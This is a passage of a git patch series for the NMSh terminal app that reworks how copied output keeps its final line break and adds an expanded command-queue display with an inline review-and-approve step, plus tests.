a/tests/transcriptClearOwnership.test.ts +++ b/tests/transcriptClearOwnership.test.ts @@ -80,7 +80,7 @@ test('repeated Ctrl+O after /copy folds only the adb block, keeps its rows toget assert.ok(copy > hint, 'the /copy confirmation stays below the adb block'); assert.ok(!rows.slice(copy).some(row => row.isFoldHint), 'no fold row is drawn under /copy'); } - assert.equal(serializeCopyPayload(output.recentShell(1)!), PACKAGES.join('\n'), '/copy still copies exactly the output'); + assert.equal(serializeCopyPayload(output.recentShell(1)!), `${PACKAGES.join('\n')}\n`, '/copy still copies exactly the output'); }); test('a command that clears the screen owns what it writes afterwards: rows, fold and /copy payload', () => { @@ -152,7 +152,7 @@ test('a restored transcript drops records whose lines a clear removed before thi assertFoldRowsOwned(restored, restored.wrapped(24)); restored.toggleMostRelevant(); } - assert.equal(serializeCopyPayload(restored.recentShell(1)!), PACKAGES.join('\n')); + assert.equal(serializeCopyPayload(restored.recentShell(1)!), `${PACKAGES.join('\n')}\n`); const roundTrip = new OutputBuffer(); roundTrip.restoreTranscript(saved); From 4cb32e32177f36f163c3ba95640e057fe06427da Mon Sep 17 00:00:00 2001 From: raiseCatError <315733358+raiseCatError@users.noreply.github.com> Date: Thu, 15 Oct 2026 21:47:58 +0530 Subject: [PATCH 04/16] Exact copy: read the final line break from the parser, not a backtracking regex The trailing-escape pattern used to find a write's last text was anchored with a repeated group, so a large write of escape sequences ending in text was scanned quadratically, on every output chunk. The parser now records whether the last text it wrote ended a line, in its single pass; an escape split across writes is still not text. --- src/output/AnsiOutputParser.ts | 14 +++++++++++++- src/output/OutputBuffer.ts | 14 +++----------- tests/copyPayload.test.ts | 10 ++++++++++ 3 files changed, 26 insertions(+), 12 deletions(-) diff --git a/src/output/AnsiOutputParser.ts b/src/output/AnsiOutputParser.ts index 55a66383..be7d481e 100644 --- a/src/output/AnsiOutputParser.ts +++ b/src/output/AnsiOutputParser.ts @@ -69,6 +69,16 @@ export class AnsiOutputParser { */ private discarding: false | 'osc' | 'string' | 'csi' | 'nf' = false; + /** Whether the last text written ended a line (see takeEnding); undefined until text arrives. */ + private ending?: boolean; + + /** Whether text written since the last call ended with a line break (true), other text (false), or none (undefined). */ + takeEnding(): boolean | undefined { + const ending = this.ending; + this.ending = undefined; + return ending; + } + /** Bytes retained for an unfinished sequence; never above MAX_CONTROL_SEQUENCE. */ get retainedControlBytes(): number { return this.pending.length; @@ -121,6 +131,7 @@ export class AnsiOutputParser { this.lines.push(this.current); this.current = []; this.column = 0; + this.ending = true; index += 1; continue; } @@ -153,7 +164,7 @@ export class AnsiOutputParser { const width = stringWidth(value); if (width === 0) { const previous = this.findPreviousCell(); - if (previous) { previous.text += value; this.touch(); } + if (previous) { previous.text += value; this.touch(); this.ending = false; } } else { this.put(value, width); } @@ -385,6 +396,7 @@ export class AnsiOutputParser { } private put(text: string, width: number): void { + this.ending = false; for (let position = 0; position < width; position += 1) this.current[this.column + position] = undefined; this.current[this.column] = {text, width, style: this.style, ...(this.hyperlink ? {hyperlink: this.hyperlink, ...(this.authoring ? {authored: true as const} : {})} : {})}; this.touch(); diff --git a/src/output/OutputBuffer.ts b/src/output/OutputBuffer.ts index 1e47a159..e7b7becd 100644 --- a/src/output/OutputBuffer.ts +++ b/src/output/OutputBuffer.ts @@ -339,8 +339,10 @@ export class OutputBuffer { /** Program output (never NMSh's own lines): drawn, and whether it last ended a line is remembered for exact copies. */ private writeProgramText(text: string): void { + // The parser's own reading of the text: escapes (even split across writes) are not text. NMSh's lines don't count. + this.parser.takeEnding(); this.parser.write(text); - const ends = endsLine(text); + const ends = this.parser.takeEnding(); if (ends !== undefined && this.active) this.active.endsLine = ends; } @@ -648,13 +650,3 @@ export class OutputBuffer { } } } - -// Escape sequences a program may write after its last text (a color reset after the final newline, a title). -const TRAILING_CONTROLS = /(?:\u001b\[[0-?]*[ -/]*[@-~]|\u001b\][^\u0007\u001b]*(?:\u0007|\u001b\\)|\u001b[ -/]*[0-~])+$/u; - -/** Whether text ends a line (its last character before trailing escapes is a newline); undefined when it has no text. */ -export function endsLine(text: string): boolean | undefined { - const visible = text.replace(TRAILING_CONTROLS, ''); - if (!visible) return undefined; - return visible.endsWith('\n'); -} diff --git a/tests/copyPayload.test.ts b/tests/copyPayload.test.ts index 3b336fa3..6f93feb5 100644 --- a/tests/copyPayload.test.ts +++ b/tests/copyPayload.test.ts @@ -54,6 +54,16 @@ test('/copy: the final line break is the program\'s: kept when printed, never ad const blanks = run(buffer, 'printf', 'p\r\n\r\n\r\n', 0, '✔'); assert.equal(serializeCopyPayload(blanks), 'p\n\n\n', 'blank lines at the end are kept'); assert.equal(serializeCopyPayload(run(buffer, 'progress', '10%\r50%\r100%', 0, '✔')), '100%', 'a carriage return is not a line break'); + // An escape split across reads is still not text. + buffer.beginCommand('split', ['❯ split']); + buffer.write('done\r\n\u001b[3'); + buffer.write('8;5;2m\u001b[0m'); + assert.equal(serializeCopyPayload(buffer.complete(0)!), 'done\n'); + // Linear in the size of a write: a long run of escapes ending in text is read once. + const noisy = '\u001b[0m'.repeat(200_000) + 'x'; + const started = performance.now(); + assert.equal(serializeCopyPayload(run(buffer, 'noisy', noisy, 0, '✔')), 'x'); + assert.ok(performance.now() - started < 2000, `escapes are scanned once (${Math.round(performance.now() - started)} ms)`); // NMSh's own line closes the command's open line on screen; it never makes the output end with a newline. buffer.beginCommand('printf', ['❯ printf']); buffer.write('open'); From a3bec80fdd4a998f112565cc98fefcf38d4cbdb0 Mon Sep 17 00:00:00 2001 From: raiseCatError <315733358+raiseCatError@users.noreply.github.com> Date: Thu, 15 Oct 2026 22:27:30 +0530 Subject: [PATCH 05/16] Queue: see what runs next and in what order; resume and approve in place Physical QA found the queue hard to follow without reopening /queue, the pause said twice, and approval only through /queue then a. - The expanded queue near the composer: a header and up to three commands in run order with their conditions, then "+N more". It takes its rows from the transcript's view through the screen plan (withQueueRows, a new queue region after the activity region); the shell's PTY never resizes. From 24 rows three commands, from 18 two, below that the one-line row. Hidden while a program waits for input. Safe glyphs and NO_COLOR keep it aligned. - An empty Enter at idle, with nothing else owning input, arms an inline review of a paused queue or of the entry that asks first, showing exactly what will run (the whole command for an approval). Only then do Enter or y confirm; n or Esc leave it, e edits. A review owns the keys while armed, so a typed "y" at the composer is always a command, never an approval; any change to what it shows dismisses it; an empty Enter right after a confirm never reaches the command it started. "n" on an approval pauses the queue so typed commands run directly instead of waiting behind it. - A pause is said once in the transcript, with its reason; the queue's row is the state and what to do. --- src/app/TerminalApp.ts | 109 +++++++++++++++++-- src/app/screenPlan.ts | 27 +++++ src/status/queueStatus.ts | 139 +++++++++++++++++++++--- src/ui/LayoutPanel.ts | 1 + tests/commandQueueLive.test.ts | 12 +- tests/queueConditionsLive.test.ts | 2 +- tests/queuePreview.test.ts | 123 +++++++++++++++++++++ tests/queuePreviewLive.test.ts | 175 ++++++++++++++++++++++++++++++ 8 files changed, 560 insertions(+), 28 deletions(-) create mode 100644 tests/queuePreview.test.ts create mode 100644 tests/queuePreviewLive.test.ts diff --git a/src/app/TerminalApp.ts b/src/app/TerminalApp.ts index dbb1244e..29b3917a 100644 --- a/src/app/TerminalApp.ts +++ b/src/app/TerminalApp.ts @@ -191,7 +191,7 @@ import {completedActivity, liveActivityParts} from '../status/activity.js'; import {ACTIVITY_VERBS, selectActivityVerb, type ActivityVerbPair} from '../status/activityVerbs.js'; import {OpenLine, promptShaped} from '../session/openLine.js'; import {completionWaitFact, inputActivityRows, inputComposerHint, inputGlyph, inputProgram, waitedDetail} from '../status/inputStatus.js'; -import {pauseReason, pausedGlyph, queueGlyph, queueRow} from '../status/queueStatus.js'; +import {pauseReason, pausedGlyph, queueGlyph, queueRow, queueBlock, type QueueAffordance} from '../status/queueStatus.js'; import {queuePanelKey, renderQueuePanel, type QueuePanelState} from '../queue/QueuePanel.js'; import type {QueueEntry, QueueState} from '../session/CommandQueue.js'; import type {QueueNews} from '../session/SessionClient.js'; @@ -294,7 +294,7 @@ import {detectShellEnvironment, shellEnvironmentRows, type ShellEnvironmentRepor import {agentColor, agentCompletionText, renderAgentStats} from '../agents/AgentStatsView.js'; import {detectAgentCommand} from '../agents/agents.js'; import {describeNotice, noticeExpiresAt, noticeKey, noticeVisible, selectNotices, sessionLabel, type NoticeView, type SessionNotice} from '../session/SessionNotices.js'; -import {composerEdgeStates, cursorScreenRow, planScreen, regionAt, withNoticeRows, withStatusRow, screenRowFromTerminal, terminalRowFromScreen, type Region, type ScreenPlan} from './screenPlan.js'; +import {composerEdgeStates, cursorScreenRow, planScreen, regionAt, withNoticeRows, withStatusRow, screenRowFromTerminal, terminalRowFromScreen, type Region, type ScreenPlan, withQueueRows, regionOf} from './screenPlan.js'; import {AppearanceState, handleAppearanceKey, renderAppearancePanel, BLUR_MODES} from '../appearance/AppearancePanel.js'; import {KeyboardState, handleKeyboardKey, renderKeyboardPanel} from '../keyboard/KeyboardPanel.js'; import {Highlighter} from '../input/Highlighter.js'; @@ -373,6 +373,10 @@ const ERROR = lazyForeground(UI_COLORS.failure); const STOP_TYPE_AHEAD_MS = 2000; /** Longest a key waits for an on-demand look at the running command's input state before it is routed anyway. */ const OWNERSHIP_LOOK_MS = 800; +/** How long after confirming a queue review an empty Enter is not sent to the command that just started. */ +const QUEUE_CONFIRM_SETTLE_MS = 600; +/** The transcript keeps at least this many rows when the expanded queue takes some (as withQueueRows does). */ +const QUEUE_MIN_TRANSCRIPT_ROWS = 3; const clipboardFailure = (error: unknown): string => error instanceof ClipboardUnavailableError ? error.message : 'Clipboard copy failed'; /** Keys that edit or submit the composer; in Flow they bring a scrolled-back view back to it. */ const FLOW_EDIT_KEYS: ReadonlySet = new Set(['text', 'paste', 'backspace', 'delete', 'deleteWord', @@ -779,6 +783,13 @@ export class TerminalApp { */ private ownershipLook?: {keys: Key[]; startId: number; answering: boolean; release: () => void}; private replayingHeld = false; + /** + * The queue review a first empty Enter armed at idle (resume a paused queue, or approve the entry that asks first). + * While it is armed it owns the keys: Enter or y confirms, n or Esc leaves everything as it was, e edits. + */ + private queueReview?: {kind: QueueAffordance; id: number}; + /** After a review is confirmed, an empty Enter for a moment is swallowed: it never reaches the command it started. */ + private queueConfirmedAt = 0; /** The previous command's phrase pair, so two commands in a row never get the same one. */ private lastActivityPair?: ActivityVerbPair; /** This session's command queue as its owner (the session service or in-process client) last reported it. */ @@ -2052,6 +2063,7 @@ export class TerminalApp { this.historyViewport.latest(); return; } + if (this.queueReview) { this.queueReviewKey(key); return; } if (this.ownershipLook) { // Ctrl+C is never held: what was typed is routed on what is known now, then the interrupt goes. if (key.kind !== 'interrupt') { this.ownershipLook.keys.push(key); return; } @@ -9247,12 +9259,72 @@ export class TerminalApp { panelRows, railPresentation: this.preparedRail(columns).presentation, }; - if (input.composerPosition !== 'flow' || !input.detached || panelRows !== undefined) return planScreen(input); + // The expanded queue asks for exactly the rows its block needs within what the transcript can spare, so the plan + // and the painted block always agree (a block painted at its own height is the same block). + const listed = (plan: ScreenPlan) => { + if (panelRows !== undefined) return plan; + const budget = Math.min(this.queueBudget(rows), Math.max(0, plan.transcript.height - QUEUE_MIN_TRANSCRIPT_ROWS) + 1); + return withQueueRows(plan, Math.max(0, (this.queueBlockRows(columns, budget)?.length ?? 0) - 1)); + }; + if (input.composerPosition !== 'flow' || !input.detached || panelRows !== undefined) return listed(planScreen(input)); // Flow scrolled back: where the view starts decides how much of the composer // is still on screen, and it is resolved against the following capacity. const following = planScreen({...input, detached: false}); const viewStart = this.historyViewport.resolve(transcriptRows, following.viewportRows); - return this.historyViewport.detached ? planScreen({...input, viewStart}) : following; + return listed(this.historyViewport.detached ? planScreen({...input, viewStart}) : following); + } + + /** + * The expanded queue (header and list) when the screen has room, else undefined (the one-line row says it). Room + * follows the terminal's height: up to three commands from 24 rows, two from 18, none below. Hidden while a + * program waits for input: its question stays next to the composer. + */ + private queueBlockRows(columns: number, budget: number): string[] | undefined { + if (!this.queueAvailable() || !this.queueState.entries.length || this.queueEdit) return undefined; + if (this.running && (this.inputState?.request || this.passthrough)) return undefined; + const review = this.queueReview?.kind; + return budget >= 2 ? queueBlock(this.queueState, columns, budget, {...(review ? {review} : {}), ...(this.queueAffordance() ? {affordance: this.queueAffordance()!} : {})}) : undefined; + } + + /** Rows the expanded queue may use (header included) on a screen of `rows`; the plan may give it fewer. */ + private queueBudget(rows: number): number { + return rows >= 28 && this.queueReview?.kind === 'approve' ? 7 : rows >= 24 ? 5 : rows >= 18 ? 3 : 0; + } + + /** + * What the queue offers from an empty Enter: only at idle (no command, so no program can be waiting for input), + * with an empty composer and nothing else owning input. A paused queue offers a review before resuming; an entry + * that asks first offers a review before approving. Nothing ever runs from one key. + */ + private queueAffordance(): QueueAffordance | undefined { + if (this.running || this.passthrough || this.startupPending || this.editor.text || this.queueEdit || this.queueCompose || this.queuePanel) return undefined; + if (!this.queueAvailable() || !this.queueState.entries.length) return undefined; + if (this.queueState.paused) return 'resume'; + const next = this.queueState.entries[0]!; + return this.queueConditionsAvailable() && next.condition === 'approve' && !next.approved ? 'approve' : undefined; + } + + /** Keys while a queue review is armed: it owns them until confirmed or dismissed. */ + private queueReviewKey(key: Key): void { + const review = this.queueReview!; + const value = key.kind === 'text' ? key.value.toLowerCase() : ''; + if (key.kind === 'enter' || value === 'y') { + this.queueReview = undefined; + this.queueConfirmedAt = Date.now(); + // The exact entry that was reviewed: a queue that changed meanwhile already dismissed the review. + this.session.queue(review.kind === 'approve' ? {op: 'approve', id: review.id} : {op: 'resume'}); + } else if (key.kind === 'escape' || key.kind === 'interrupt' || value === 'n') { + this.queueReview = undefined; + // Not now: an entry that asks first would hold everything typed behind it, so the queue pauses and commands run. + if (review.kind === 'approve' && value === 'n') { + this.session.queue({op: 'pause'}); + this.output.addFrontendInteraction('/queue', 'Not approved; the queue is paused, so your commands run directly. /queue to come back to it.', INFO); + } + } else if (value === 'e') { + this.queueReview = undefined; + this.beginQueueEdit(review.id); + } + this.render(); } private render(): void { @@ -9411,6 +9483,7 @@ export class TerminalApp { }), ...(menuOverflow ? [renderCompletionMore(hiddenBelow, suggestionView.start, columns)] : [])]); // The spacer sits between the newest output and the activity line in both positions. case 'activity': return this.activityRows(plan, columns); + case 'queue': return this.queueBlockRows(columns, region.height + 1)?.slice(1) ?? []; case 'composerBorder': return [this.composerEdgeRow('composerBorder', plan, columns, now)]; case 'prompt': return [promptLine]; case 'input': return inputRows; @@ -9690,8 +9763,11 @@ export class TerminalApp { * stays in view however far the transcript scrolled or folded. Nothing extra is reserved and the PTY never resizes. */ private activityRows(plan: ScreenPlan, columns: number): string[] { - const queue = this.queueLine(columns); - if (!this.running) return queue ? [queue, ''] : []; + // With the list shown (the plan's queue region), its header takes the queue row and the list follows it. + const region = regionOf(plan, 'queue'); + const listed = region ? this.queueBlockRows(columns, region.height + 1) : undefined; + const queue = listed?.[0] ?? this.queueLine(columns); + if (!this.running) return queue ? (listed ? ['', queue] : [queue, '']) : []; const request = this.inputState?.request; // A wait reads top to bottom (headline, then the question) wherever the composer is docked. if (request) { @@ -9751,7 +9827,8 @@ export class TerminalApp { private queueLine(columns: number): string | undefined { if (!this.queueAvailable()) return undefined; if (this.queueEdit) return truncateAnsi(`${SECONDARY}${queueGlyph()} Editing a queued command${RESET}${SUBTLE} · Enter saves · Esc cancels${RESET}`, columns); - return queueRow(this.queueState, columns); + const affordance = this.queueAffordance(); + return queueRow(this.queueState, columns, {...(this.queueReview ? {review: this.queueReview.kind} : {}), ...(affordance ? {affordance} : {})}); } private onQueueState(state: QueueState, news: QueueNews): void { @@ -9761,8 +9838,15 @@ export class TerminalApp { if (news.dropped) this.output.addHistoryLine(`${INFO}${news.dropped} queued command${news.dropped === 1 ? '' : 's'} did not run: the shell ended.${RESET}`); const paused = state.paused; // A pause NMSh decided (not the person's own) is a safety event: say it where the failure is. + // Said once, where it happened; the queue's own row carries what is waiting and what to do. if (paused && paused.reason !== 'user' && paused.at !== previous.paused?.at && state.entries.length) { - this.output.addHistoryLine(`${STOPPED}${pausedGlyph()} Queue paused: ${pauseReason(paused)}.${RESET}${SECONDARY} ${state.entries.length} waiting · /queue to resume or clear${RESET}`); + this.output.addHistoryLine(`${STOPPED}${pausedGlyph()} Queue paused: ${pauseReason(paused)}.${RESET}`); + } + // A review is for what was shown: any change to what it would act on dismisses it, so nothing unseen runs. + const review = this.queueReview; + if (review && (state.entries[0]?.id !== review.id || (review.kind === 'resume') !== Boolean(state.paused) + || (review.kind === 'approve' && (state.entries[0]?.approved || state.entries[0]?.condition !== 'approve' || state.entries[0]?.text !== previous.entries[0]?.text)))) { + this.queueReview = undefined; } if (this.queueEdit && !state.entries.some(entry => entry.id === this.queueEdit!.id)) { this.queueEdit = undefined; @@ -9820,6 +9904,8 @@ export class TerminalApp { void this.submit(); return; } + // A rapid second Enter after confirming a queue review is not an answer for the command it just started. + if (intent === 'enter' && !text.trim() && Date.now() - this.queueConfirmedAt < QUEUE_CONFIRM_SETTLE_MS) return; const toProgram = intent === 'send' || (intent === 'enter' && (!this.queueAvailable() || !text.trim() || this.answersByDefault() || this.passthrough || this.justStopped())); if (toProgram) { this.editor.clear(); @@ -9833,6 +9919,13 @@ export class TerminalApp { return; } if (intent === 'send') return; + // An empty Enter where the queue offers something arms its review; nothing runs yet. + const affordance = intent === 'enter' && !text.trim() ? this.queueAffordance() : undefined; + if (affordance && Date.now() - this.queueConfirmedAt >= QUEUE_CONFIRM_SETTLE_MS) { + this.queueReview = {kind: affordance, id: this.queueState.entries[0]!.id}; + this.render(); + return; + } if (text.trim() && !slash && this.queueAvailable() && (intent === 'queue' || (this.queueState.entries.length > 0 && !this.queueState.paused))) { this.enqueue(text); return; diff --git a/src/app/screenPlan.ts b/src/app/screenPlan.ts index 2d2325f3..a5ac5c53 100644 --- a/src/app/screenPlan.ts +++ b/src/app/screenPlan.ts @@ -24,6 +24,8 @@ export type RegionKind = | 'inspector' | 'suggestions' | 'activity' + /** The expanded command queue, right after the activity region (see withQueueRows); never part of the PTY. */ + | 'queue' | 'composerBorder' | 'prompt' | 'input' @@ -370,6 +372,31 @@ export function withNoticeRows(plan: ScreenPlan, count: number, kind: 'notices' return {...plan, rows: plan.rows + count, regions, transcript: shift(plan.transcript)}; } +/** The transcript keeps at least this many rows when the queue's list takes some. */ +const QUEUE_MIN_TRANSCRIPT = 3; + +/** + * The queue's list, right after the activity region (its header is the activity region's queue row). The rows come + * from the transcript's view, never from the shell's terminal: ptyRows stays as planned, so a growing or shrinking + * queue never resizes the running program. Rows that do not fit leave the list shorter; none means no list. + */ +export function withQueueRows(plan: ScreenPlan, count: number): ScreenPlan { + const activity = regionOf(plan, 'activity'); + if (count <= 0 || !activity || plan.panelActive || activity.top < plan.transcript.top) return plan; + const take = Math.min(count, Math.max(0, plan.transcript.height - QUEUE_MIN_TRANSCRIPT)); + if (take <= 0) return plan; + const transcriptEnd = plan.transcript.top + plan.transcript.height; + const activityEnd = activity.top + activity.height; + // Everything from the transcript's end through the activity region moves up; the list fills the rows it leaves. + const moved = (region: Region): Region => region.kind === 'transcript' ? {...region, height: region.height - take} + : region.top >= transcriptEnd && region.top < activityEnd ? {...region, top: region.top - take} : region; + const regions = plan.regions.map(moved); + regions.splice(regions.findIndex(region => region.kind === 'activity') + 1, 0, {kind: 'queue', top: activityEnd - take, height: take}); + const transcript = moved(plan.transcript); + return {...plan, regions: regions.filter(region => region.height > 0), transcript, + viewportRows: Math.max(1, plan.composerPosition === 'flow' ? transcript.height : plan.viewportRows - take)}; +} + export function regionOf(plan: ScreenPlan, kind: RegionKind): Region | undefined { return plan.regions.find(region => region.kind === kind); } diff --git a/src/status/queueStatus.ts b/src/status/queueStatus.ts index 4cae9781..fffe525a 100644 --- a/src/status/queueStatus.ts +++ b/src/status/queueStatus.ts @@ -1,4 +1,4 @@ -import {displayWidth, truncateText} from '../util/text.js'; +import {displayWidth, truncateAnsi, truncateText} from '../util/text.js'; import {displaySafe} from '../input/PasteReview.js'; import {foreground, UI_COLORS} from '../ui/palette.js'; import {getCurrentGlyphMode} from '../ui/glyphs.js'; @@ -9,6 +9,8 @@ import type {QueuePause, QueueState} from '../session/CommandQueue.js'; * source; this module only words and paints it. No animation: a queue waits, it does not work. */ const RESET = '\u001b[0m'; +/** Paused: the same amber NMSh uses for a stopped command, apart from waiting-for-input and failure. */ +const STOPPED = {red: 198, green: 156, blue: 109}; export function queueGlyph(): string { return getCurrentGlyphMode() === 'safe' ? '=' : '≡'; } export function pausedGlyph(): string { return getCurrentGlyphMode() === 'safe' ? '||' : '⏸'; } @@ -37,43 +39,150 @@ function commandName(command: string): string { return truncateText(displaySafe(command.split('\n')[0]!.trim()) || 'the command', 32); } +/** + * What the queue offers right now from an empty composer at idle (see TerminalApp.queueAffordance), and the inline + * review that a first Enter arms: nothing runs from a single key. + */ +export type QueueAffordance = 'resume' | 'approve'; + +export interface QueueRowOptions { + /** Shown only while the shell is idle, the composer is empty and nothing else owns input. */ + affordance?: QueueAffordance; + /** The review a first Enter armed: the row says exactly what the next key does. */ + review?: QueueAffordance; +} + +const AFFORDANCE_HINT: Record = {resume: 'Enter to review', approve: 'Enter to review'}; + /** * The queue's one line under the running command (or at idle while paused), widest form first: * ≡ Queued (2) · next: adb devices · /queue - * ⏸ Queue paused · make failed (exit 2) · 2 waiting · /queue - * Narrow widths drop the hint, then the reason or preview; the count always stays. + * ⏸ Queue paused · 2 waiting · Enter to review · /queue + * Why it paused is said once, in the transcript where it happened; this row is the state and what to do about it. + * Narrow widths drop the hint, then the preview; the count always stays. */ -export function queueRow(state: QueueState, columns: number): string | undefined { +export function queueRow(state: QueueState, columns: number, options: QueueRowOptions = {}): string | undefined { const count = state.entries.length; if (!count || columns <= 0) return undefined; const subtle = foreground(UI_COLORS.subtle); const secondary = foreground(UI_COLORS.secondary); const accent = foreground(UI_COLORS.accent); + const stopped = foreground(STOPPED); + if (options.review) return reviewRow(state, columns, options.review); + const hint = options.affordance ? [AFFORDANCE_HINT[options.affordance]] : []; if (state.paused) { const head = `${pausedGlyph()} Queue paused`; - const parts = [pauseReason(state.paused), `${count} waiting`, '/queue']; - const forms = [parts, parts.slice(0, 2), [parts[1]!]]; + const parts = [`${count} waiting`, ...hint, '/queue']; + const forms = [parts, [parts[0]!, ...hint], [parts[0]!]]; for (const form of forms) { - const plain = [head, ...form].join(' · '); - if (displayWidth(plain) <= columns) return `${accent}${head}${RESET}${secondary} · ${form.join(' · ')}${RESET}`; + if (displayWidth([head, ...form].join(' · ')) <= columns) return `${stopped}${head}${RESET}${secondary} · ${form.join(' · ')}${RESET}`; } - return `${accent}${truncateText(`${head} · ${count}`, columns)}${RESET}`; + return `${stopped}${truncateText(`${head} · ${count}`, columns)}${RESET}`; } const next = state.entries[0]!; // The queue is waiting for the person, not for the shell: say so, in the one line that is always there. if (next.condition === 'approve' && !next.approved) { const asks = `${queueGlyph()} Queued (${count}) · next needs your approval`; - for (const hint of [' · /queue', '']) { - const room = columns - displayWidth(`${asks}: `) - displayWidth(hint); - if (room >= 8) return `${accent}${asks}${RESET}${subtle}: ${queuePreview(next.text, room)}${hint}${RESET}`; + for (const tail of [` · ${[...hint, '/queue'].join(' · ')}`, hint.length ? ` · ${hint[0]}` : '', '']) { + const room = columns - displayWidth(`${asks}: `) - displayWidth(tail); + if (room >= 8) return `${accent}${asks}${RESET}${subtle}: ${queuePreview(next.text, room)}${tail}${RESET}`; } return `${accent}${truncateText(`${queueGlyph()} Queued (${count}) · needs approval`, columns)}${RESET}`; } const head = `${queueGlyph()} Queued (${count})`; const editing = state.editing === next.id ? ' (editing)' : ''; - for (const hint of [' · /queue', '']) { - const room = columns - displayWidth(`${head} · next: `) - displayWidth(editing) - displayWidth(hint); - if (room >= 8) return `${secondary}${head}${RESET}${subtle} · next: ${queuePreview(next.text, room)}${editing}${hint}${RESET}`; + for (const tail of [' · /queue', '']) { + const room = columns - displayWidth(`${head} · next: `) - displayWidth(editing) - displayWidth(tail); + if (room >= 8) return `${secondary}${head}${RESET}${subtle} · next: ${queuePreview(next.text, room)}${editing}${tail}${RESET}`; } return `${secondary}${truncateText(head, columns)}${RESET}`; } + +/** The armed review in one line: exactly what Enter does, and how to leave without running anything. */ +function reviewRow(state: QueueState, columns: number, review: QueueAffordance): string { + const accent = foreground(UI_COLORS.accent); + const secondary = foreground(UI_COLORS.secondary); + const next = state.entries[0]!; + const head = review === 'approve' ? 'Approve and run' : 'Resume the queue'; + const keys = review === 'approve' ? ['Enter or y approves', 'n not now', 'e edits', 'Esc'] : ['Enter resumes', 'Esc keeps it paused', 'e edits next']; + for (const form of [keys, keys.slice(0, 2), keys.slice(0, 1)]) { + const tail = ` · ${form.join(' · ')}`; + const room = columns - displayWidth(`${head}: `) - displayWidth(tail); + if (room >= 8) return `${accent}${head}${RESET}${secondary}: ${queuePreview(next.text, room)}${tail}${RESET}`; + } + return `${accent}${truncateText(`${head}? ${keys[0]}`, columns)}${RESET}`; +} + +/** Order connectors for the expanded queue; Safe glyphs use ASCII that lines up the same. */ +function connectors(): {first: string; middle: string; last: string; rail: string} { + return getCurrentGlyphMode() === 'safe' ? {first: '+-', middle: '|-', last: "'-", rail: '| '} : {first: '╭─', middle: '├─', last: '╰─', rail: '│ '}; +} + +/** + * The expanded queue: a header and up to `rows - 1` rows below it, in run order, for when the screen has room. The + * header replaces the one-line row; the rows below are the screen plan's queue region (see withQueueRows). Shows at + * most three commands, then "+N more"; the last row carries the contextual hint or the armed review's keys. + * ╭─ ≡ Queue · 5 pending + * ├─ next npm run build + * ├─ 2 npm test · asks first + * ╰─ +3 more · /queue + * Returns undefined when the one-line row says it all (one plain entry, or no room for at least one listed command). + */ +export function queueBlock(state: QueueState, columns: number, rows: number, options: QueueRowOptions = {}): string[] | undefined { + const entries = state.entries; + if (!entries.length || rows < 2 || columns < 24) return undefined; + const plain = !state.paused && !options.review && !options.affordance && entries.length === 1 && !entries[0]!.condition; + if (plain) return undefined; + const primary = foreground(UI_COLORS.primary); + const secondary = foreground(UI_COLORS.secondary); + const subtle = foreground(UI_COLORS.subtle); + const accent = foreground(UI_COLORS.accent); + const stopped = foreground(STOPPED); + const glyph = connectors(); + const count = entries.length; + const next = entries[0]!; + const asks = !state.paused && next.condition === 'approve' && !next.approved; + const review = options.review; + const headText = review === 'approve' ? 'Approve and run this command?' + : review === 'resume' ? `${pausedGlyph()} Resume the queue? ${count} pending` + : state.paused ? `${pausedGlyph()} Queue paused · ${count} pending` + : asks ? `${queueGlyph()} Queue · next needs your approval` : `${queueGlyph()} Queue · ${count} pending`; + const headColor = review || asks ? accent : state.paused ? stopped : secondary; + const out = [truncateAnsi(`${subtle}${glyph.first}${RESET} ${headColor}${headText}${RESET}`, columns)]; + // The footer: what is not listed, and what a key does here. + const footer = review === 'approve' ? 'Enter or y approves · n not now · e edits · Esc' + : review === 'resume' ? 'Enter resumes · Esc keeps it paused · e edits next' + : options.affordance ? `${options.affordance === 'approve' ? 'Enter to review it' : 'Enter to review before anything runs'} · /queue` : ''; + const body = rows - 1; + if (review === 'approve') { + // The whole command, as it will run (bounded): approval is for this exact text. + const lines = next.text.split('\n'); + const room = Math.max(1, body - 1); + const shown = lines.length > room ? lines.slice(0, room - 1) : lines; + shown.forEach((line, index) => out.push(truncateAnsi(`${subtle}${index ? glyph.rail : glyph.middle}${RESET} ${primary}${displaySafe(line) || ' '}${RESET}`, columns))); + if (lines.length > shown.length) out.push(truncateAnsi(`${subtle}${glyph.rail} … ${lines.length - shown.length} more line${lines.length - shown.length === 1 ? '' : 's'} · e shows all${RESET}`, columns)); + out.push(truncateAnsi(`${subtle}${glyph.last}${RESET} ${secondary}${footer}${RESET}`, columns)); + return out; + } + const listed = Math.min(3, count, body - (footer || count > 3 ? 1 : 0)); + if (listed < 1) return undefined; + const hidden = count - listed; + const label = (index: number) => index === 0 && !state.paused ? 'next' : `${index + 1}`; + const width = Math.max(...entries.slice(0, listed).map((_, index) => displayWidth(label(index)))); + const tail = [hidden ? `+${hidden} more` : '', footer || (hidden ? '/queue' : '')].filter(Boolean).join(' · '); + entries.slice(0, listed).forEach((entry, index) => { + const note = conditionNoteFor(entry); + const last = index === listed - 1 && !tail; + const connector = last ? glyph.last : glyph.middle; + const room = Math.max(4, columns - displayWidth(`${connector} ${label(index).padEnd(width)} `) - (note ? displayWidth(` · ${note}`) : 0)); + const color = index === 0 && !state.paused ? primary : secondary; + out.push(truncateAnsi(`${subtle}${connector}${RESET} ${subtle}${label(index).padEnd(width)}${RESET} ${color}${queuePreview(entry.text, room)}${RESET}${note ? `${entry.condition === 'approve' && !entry.approved ? accent : subtle} · ${note}${RESET}` : ''}`, columns)); + }); + if (tail) out.push(truncateAnsi(`${subtle}${glyph.last}${RESET} ${options.affordance ? secondary : subtle}${tail}${RESET}`, columns)); + return out; +} + +/** A queued entry's condition in a few words (the same words /queue uses). */ +function conditionNoteFor(entry: QueueState['entries'][number]): string { + return entry.condition === 'always' ? 'runs even after a failure' : entry.condition === 'approve' ? (entry.approved ? 'approved' : 'asks first') : ''; +} diff --git a/src/ui/LayoutPanel.ts b/src/ui/LayoutPanel.ts index 2b7737bd..1ffb956d 100644 --- a/src/ui/LayoutPanel.ts +++ b/src/ui/LayoutPanel.ts @@ -103,6 +103,7 @@ export function renderLayoutPreview(choice: LayoutChoice, columns: number, rows: panel: [], inspector: [], suggestions: [], + queue: [], activity: plan.composerPosition === 'top' ? ['', `${SECONDARY}${activity.phrase}${SUBTLE}${activity.duration}${RESET}`] : [`${SECONDARY}${activity.phrase}${SUBTLE}${activity.duration}${RESET}`, ''], diff --git a/tests/commandQueueLive.test.ts b/tests/commandQueueLive.test.ts index da4a44a4..94e0a105 100644 --- 